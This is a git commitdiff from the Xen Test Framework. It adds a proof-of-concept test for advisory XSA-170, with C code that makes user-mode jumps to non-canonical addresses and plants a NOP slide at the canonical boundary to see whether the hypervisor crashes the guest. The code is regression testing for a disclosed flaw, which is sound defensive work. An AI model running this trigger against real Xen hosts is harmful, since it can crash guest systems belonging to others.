]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-170 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Sat, 9 Jan 2016 15:25:14 +0000 (15:25 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 21 Nov 2016 15:43:13 +0000 (15:43 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-170/Makefile [new file with mode: 0644]
tests/xsa-170/main.c [new file with mode: 0644]

index 2909b852befd8706590a9ff1919a58e881d6c62e..611ef84255a3f13eaccd2e2e5b1e540012c9abec 100644 (file)
@@ -44,6 +44,9 @@ XSA-156 - See @ref test-swint-emulation
 
 @subpage test-xsa-168 - `invvpid` non-canonical guest address.
 
+@subpage test-xsa-170 - VMX: guest user mode may crash guest with
+non-canonical RIP.
+
 @subpage test-xsa-173 - x86 shadow pagetables: address width overflow.
 
 @subpage test-xsa-182 - x86: Privilege escalation in PV guests.
diff --git a/tests/xsa-170/Makefile b/tests/xsa-170/Makefile
new file mode 100644 (file)
index 0000000..7cde1c0
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-170
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-170/main.c b/tests/xsa-170/main.c
new file mode 100644 (file)
index 0000000..eed6439
--- /dev/null
@@ -0,0 +1,105 @@
+/**
+ * @file tests/xsa-170/main.c
+ * @ref test-xsa-170
+ *
+ * @page test-xsa-170 XSA-170
+ *
+ * Advisory: [XSA-170](http://xenbits.xen.org/xsa/advisory-170.html)
+ *
+ * XSA-170 concerns a vmentry quirk on VMX hardware, which causes the vmentry
+ * to fail if @%rip is non-canonical.  This bug does not affect SVM hardware,
+ * where vmentries are permitted with a non-canonical @%rip.
+ *
+ * There are legitimate circumstances which can arise, requiring Xen to
+ * re-enter the guest with a non-canonical @%rip (tested below), and this bug
+ * prevents Xen from providing architectural behaviour to the guest.
+ *
+ * The important aspect is that Xen doesn't suffer a vmentry failure and crash
+ * the guest due to userspace actions.
+ *
+ * @see tests/xsa-170/main.c
+ */
+
+#include <xtf.h>
+
+#include <arch/x86/pagetable.h>
+#include <arch/x86/symbolic-const.h>
+
+const char test_title[] = "XSA-170 PoC";
+
+bool test_wants_user_mappings = true;
+bool test_needs_fep = true;
+
+void wild_jump(void)
+{
+    /*
+     * After XSA-170, Xen's instruction emulator was improved to perform a
+     * 0-length instruction fetch at the destination of a branch.  If the
+     * branch destination is bad (non-canonical, or outside of %cs limit), a
+     * #GP is raised instead of branching.
+     */
+    asm volatile (_ASM_XEN_FEP
+                  "1: jmp *%0;"
+                  ".Lwild_fixup:"
+                  _ASM_EXTABLE(1b, .Lwild_fixup)
+                  :: "qI" (0x8000000000000000ULL));
+}
+
+void nop_slide(void)
+{
+    /*
+     * AMD hardware can correctly re-enter the guest with a non-canonical
+     * %rip. Use an EXTABLE entry to recover from the architecturally-correct
+     * results of executing ones way into the non-canonical region.
+     */
+    asm volatile ("jmp *%0;"
+                  ".Lnop_fixup:"
+                  _ASM_EXTABLE(0x0000800000000000, .Lnop_fixup) /* Correct. */
+                  _ASM_EXTABLE(0xffff800000000000, .Lnop_fixup) /* XSA-170. */
+                  :: "qI" (0x00007ffffffffff8ULL));
+}
+
+void test_main(void)
+{
+    static intpte_t nl2t[L2_PT_ENTRIES] __aligned(PAGE_SIZE);
+    static intpte_t nl1t[L1_PT_ENTRIES] __aligned(PAGE_SIZE);
+    static uint8_t  buffer[PAGE_SIZE] __aligned(PAGE_SIZE);
+
+    printk("  Executing user wild jump\n");
+    exec_user_void(wild_jump);
+
+    /* Map 'buffer' at the lower canonical boundary. */
+    nl1t[511] =            pte_from_virt(buffer,          PF_SYM(AD, U, RW, P));
+    nl2t[511] =            pte_from_virt(nl1t,            PF_SYM(AD, U, RW, P));
+    pae_l3_identmap[511] = pte_from_virt(nl2t,            PF_SYM(AD, U, RW, P));
+    pae_l4_identmap[255] = pte_from_virt(pae_l3_identmap, PF_SYM(AD, U, RW, P));
+    barrier();
+
+    uint64_t *ptr = _p(0x00007ffffffffff8ULL);
+
+    /*
+     * Put a NOP slide and Forced Emulation Prefix as the final instructions
+     * before the boundary.
+     */
+    memcpy(ptr, "\x90\x90\xf\xbxen\x90", 8);
+
+    printk("  Executing user nop slide\n");
+    exec_user_void(nop_slide);
+
+    /*
+     * If we are still alive, Xen re-entered the guest properly (or suitably
+     * improperly).
+     */
+
+    xtf_success("Success: Not vulnerable to XSA-170\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */